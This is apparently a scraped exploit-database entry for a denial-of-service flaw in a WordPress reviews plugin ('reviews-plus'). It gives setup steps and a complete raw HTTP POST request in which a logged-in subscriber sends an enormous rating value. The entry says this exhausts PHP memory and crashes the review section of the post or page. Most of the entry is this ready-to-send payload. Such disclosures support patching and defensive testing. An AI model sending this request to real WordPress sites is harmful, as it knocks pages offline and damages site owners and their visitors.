## https://sploitus.com/exploit?id=WPEX-ID:79BB5ACB-EA56-41A9-83A1-28A181AE41E2
Enable reviews for post/pages, and enable the "Show Reviews on" setting for All posts or pages as well.
Then log in as a user such as subscriber and submit a review with a long rating, e.g
POST /wp-comments-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
Connection: close
Cookie: [subscriber+]
Upgrade-Insecure-Requests: 1
comment_type=ic_rev_post&review_type=ic_rev_post&ic_review_rating=100000000000000000000000&ic_review_title=aa&comment=cerh&submit=Submit+Review&comment_post_ID=2123&comment_parent=0
The review section of the post/page will crash with an error like "Allowed memory size of 268435456 bytes exhausted (tried to allocate 249561152 bytes) in /var/www/wp-content/plugins/reviews-plus/functions/functions.php on line 76" when viewed